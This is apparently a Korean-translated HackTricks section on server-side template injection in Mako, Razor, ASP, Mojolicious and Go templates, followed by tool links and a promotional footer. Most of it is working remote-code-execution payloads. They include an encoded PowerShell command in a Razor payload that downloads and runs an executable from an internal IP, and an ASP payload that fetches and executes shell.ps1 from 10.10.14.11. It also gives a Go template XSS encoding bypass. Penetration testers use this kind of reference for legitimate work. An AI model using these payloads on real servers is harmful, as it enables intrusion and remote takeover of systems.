기타 payloads은 https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
Mako (Python)
<%
import os
x=os.popen('id').read()
%>
${x}
추가 정보
Razor (.Net)
@(2+2) <= 성공
@() <= 성공
@("{{code}}") <= 성공
@ <= 성공
@{} <= 오류!
@{ <= 오류!
@(1+2)
@( //C#Code )
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBXAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");
.NET의 System.Diagnostics.Process.Start
메서드를 사용하여 서버에서 어떤 프로세스든 시작하고 웹쉘을 생성할 수 있습니다. 취약한 웹앱 예제는 https://github.com/cnotin/RazorVulnerableApp에서 찾을 수 있습니다.
추가 정보
- https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/
- https://www.schtech.co.uk/razor-pages-ssti-rce/
ASP
<%= 7*7 %>
= 49<%= "foo" %>
= foo<%= foo %>
= Nothing<%= response.write(date()) %>
= <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
추가 정보
Mojolicious (Perl)
비록 Perl이지만 Ruby의 ERB 태그를 사용합니다.
<%= 7*7 %> = 49
<%= foobar %> = Error
<%= perl code %>
<% perl code %>
GO에서의 SSTI
Go의 템플릿 엔진에서는 사용 여부를 확인할 수 있는 특정한 payload로 가능합니다:
{{ . }}
: 데이터 구조 입력을 드러냅니다. 예를 들어,Password
속성이 있는 객체가 전달되면,{{ .Password }}
를 통해 노출될 수 있습니다.{{printf "%s" "ssti" }}
: 문자열 "ssti"를 표시할 것으로 예상됩니다.{{html "ssti"}}
,{{js "ssti"}}
: 이러한 payload는 "html" 또는 "js"를 추가하지 않고 "ssti"를 반환해야 합니다. Go 문서에서 더 많은 지시문을 찾아볼 수 있습니다 여기.
XSS Exploitation
text/template
패키지를 사용하면 XSS를 쉽게 삽입할 수 있습니다. 반대로, html/template
패키지는 이를 방지하기 위해 응답을 인코딩합니다 (예: {{"<script>alert(1)</script>"}}
는 <script>alert(1)</script>
로 결과가 나옵니다). 그러나 Go에서의 템플릿 정의와 호출은 이 인코딩을 우회할 수 있습니다: {{define "T1"}}alert(1){{end}} {{template "T1"}}
vbnet 코드 복사
RCE Exploitation
html/template
와 text/template
간에 RCE Exploitation은 크게 다릅니다. text/template
모듈은 "call" 값을 사용하여 직접 모든 공개 함수를 호출할 수 있지만, html/template
에서는 허용되지 않습니다. 이러한 모듈에 대한 문서는 여기 html/template 및 여기 text/template에서 확인할 수 있습니다.
Go에서의 SSTI를 통한 RCE를 위해 객체 메소드를 호출할 수 있습니다. 예를 들어, 제공된 객체에 System
메소드가 명령을 실행하는 경우, {{ .System "ls" }}
와 같이 악용될 수 있습니다. 이를 악용하기 위해서는 일반적으로 소스 코드에 액세스해야 합니다. 주어진 예제에서와 같이:
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
추가 정보
- https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html
- https://www.onsecurity.io/blog/go-ssti-method-research/
더 많은 공격
더 많은 공격을 확인하려면 https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection를 확인하세요. 또한 흥미로운 태그 정보를 https://github.com/DiogoMRSilva/websitesVulnerableToSSTI에서 찾을 수 있습니다.
BlackHat PDF
{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}
관련 도움말
유용할 것으로 생각되면 다음을 읽어보세요:
도구
- https://github.com/Hackmanit/TInjA
- https://github.com/vladko312/sstimap
- https://github.com/epinna/tplmap
- https://github.com/Hackmanit/template-injection-table
브루트포스 탐지 목록
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
연습 및 참고 자료
- https://portswigger.net/web-security/server-side-template-injection/exploiting
- https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
- https://portswigger.net/web-security/server-side-template-injection
RootedCON은 스페인에서 가장 중요한 사이버 보안 이벤트 중 하나로 유럽에서도 가장 중요한 행사 중 하나입니다. 기술 지식을 촉진하는 데 노력하는 이 컨퍼런스는 모든 분야의 기술 및 사이버 보안 전문가들에게 열정적인 만남의 장입니다.
{% embed url="https://www.rootedcon.com/" %}
제로부터 영웅이 될 때까지 AWS 해킹을 배우세요 htARTE (HackTricks AWS Red Team Expert)!
HackTricks를 지원하는 다른 방법:
- 회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면 구독 요금제를 확인하세요!
- 공식 PEASS & HackTricks 스웨그를 구입하세요
- The PEASS Family를 발견하세요, 당사의 독점 NFTs 컬렉션
- 💬 디스코드 그룹에 가입하거나 텔레그램 그룹에 가입하거나 트위터 🐦 @carlospolopm를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.